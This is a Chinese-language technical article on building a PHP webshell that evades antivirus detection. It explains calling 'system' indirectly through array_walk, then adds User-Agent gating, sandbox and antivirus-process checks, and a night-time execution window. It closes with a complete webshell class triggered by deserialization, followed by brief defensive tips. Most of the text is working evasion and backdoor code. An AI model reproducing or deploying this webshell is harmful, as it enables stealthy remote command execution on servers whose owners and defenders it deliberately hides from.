多条件触发的免杀 Webshell
字数 1077 2025-08-29 08:30:18
多条件触发的免杀Webshell技术详解
前言
本文详细解析了一种基于多条件触发的PHP Webshell免杀技术,通过将变量作为函数使用并结合环境检测机制,可以有效绕过传统安全检测。该技术借鉴了shellcode免杀和云沙箱绕过的思路,通过设置多个运行条件,使Webshell只在特定环境下执行。
核心技术:array_walk回调函数
array_walk函数基础
array_walk是PHP内置函数,用于对数组每个元素应用用户自定义回调函数:
bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
- $array: 要遍历的数组(按引用传递,可直接修改)
- **\(callback**: 用户自定义回调函数,接收两个参数(值,键)或三个参数(值,键,\)userdata)
- $userdata(可选): 传递给回调函数的额外数据
- 返回值: 成功返回true,失败返回false
示例代码
$array = array("a" => "A", "b" => "B", "c" => "C");
$func = "strtolower";
array_walk($array, $func);
print_r($array);
输出:
Array
(
[a] => a
[b] => b
[c] => c
)
免杀应用
通过将命令执行函数(如system)赋值给变量,然后使用array_walk调用,可以绕过对直接函数调用的检测:
$array = array("whoami");
$func = "system";
array_walk($array, $func);
多条件触发机制
1. 浏览器检测
只在特定浏览器访问时运行,通过检测User-Agent实现:
if(strpos($_SERVER['HTTP_USER_AGENT'], 'Chrome') !== false ||
strpos($_SERVER['HTTP_USER_AGENT'], 'Firefox') !== false) {
// 执行恶意代码
}
常见User-Agent示例:
- Google Chrome:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 - Mozilla Firefox:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
2. 云沙箱环境检测
检测到沙箱环境时不运行:
// 检测文件或目录是否存在
if(!file_exists('/etc/hostname') || file_exists('/home/sandbox')) {
exit;
}
// 检测特定函数是否被禁用
if(!function_exists('exec') || !function_exists('system')) {
exit;
}
// 检测特定扩展是否加载
if(extension_loaded('suhosin') || extension_loaded('runkit')) {
exit;
}
3. 杀毒软件检测
检测到杀毒软件进程时不运行:
// Windows系统检测
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
exec('tasklist', $output);
$avProcesses = ['avp.exe', 'bdagent.exe', 'mbam.exe']; // 常见杀软进程
foreach($avProcesses as $av) {
if(strpos(implode("\n", $output), $av) !== false) {
exit;
}
}
}
// Linux系统检测
else {
exec('ps aux', $output);
$avProcesses = ['clamav', 'rkhunter', 'chkrootkit'];
foreach($avProcesses as $av) {
if(strpos(implode("\n", $output), $av) !== false) {
exit;
}
}
}
4. 时间条件控制
只在特定时间段运行(如非工作时间):
$hour = date('H');
if($hour >= 22 || $hour <= 6) { // 22:00到6:00之间
// 执行恶意代码
}
完整示例代码
结合HGCTF反序列化的免杀马:
<?php
class Evil {
public $func;
public $args;
public function __destruct() {
// 多条件检测
$conditions = true;
// 1. 浏览器检测
$conditions &= (strpos($_SERVER['HTTP_USER_AGENT'], 'Chrome') !== false ||
strpos($_SERVER['HTTP_USER_AGENT'], 'Firefox') !== false);
// 2. 沙箱检测
$conditions &= !file_exists('/etc/hostname') && !file_exists('/home/sandbox');
$conditions &= function_exists('exec') && function_exists('system');
$conditions &= !extension_loaded('suhosin') && !extension_loaded('runkit');
// 3. 杀毒软件检测
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
exec('tasklist', $output);
$avProcesses = ['avp.exe', 'bdagent.exe', 'mbam.exe'];
foreach($avProcesses as $av) {
if(strpos(implode("\n", $output), $av) !== false) {
$conditions = false;
break;
}
}
} else {
exec('ps aux', $output);
$avProcesses = ['clamav', 'rkhunter', 'chkrootkit'];
foreach($avProcesses as $av) {
if(strpos(implode("\n", $output), $av) !== false) {
$conditions = false;
break;
}
}
}
// 4. 时间检测
$hour = date('H');
$conditions &= ($hour >= 22 || $hour <= 6);
// 满足所有条件才执行
if($conditions) {
array_walk(array($this->args), $this->func);
}
}
}
// 使用示例
$evil = new Evil();
$evil->func = "system";
$evil->args = "whoami";
?>
防御建议
- 禁用危险函数:在php.ini中禁用
system、exec、shell_exec等危险函数 - 严格过滤输入:对所有用户输入进行严格过滤和验证
- 监控异常行为:监控服务器上的异常进程和网络连接
- 定期更新规则:保持WAF和杀毒软件的规则库最新
- 限制文件上传:严格控制文件上传功能,限制可上传文件类型
- 代码审计:定期进行代码审计,特别是用户可控输入的处理部分
通过理解这些免杀技术,安全人员可以更好地防御此类攻击,而开发者也应避免在代码中留下可能被利用的漏洞。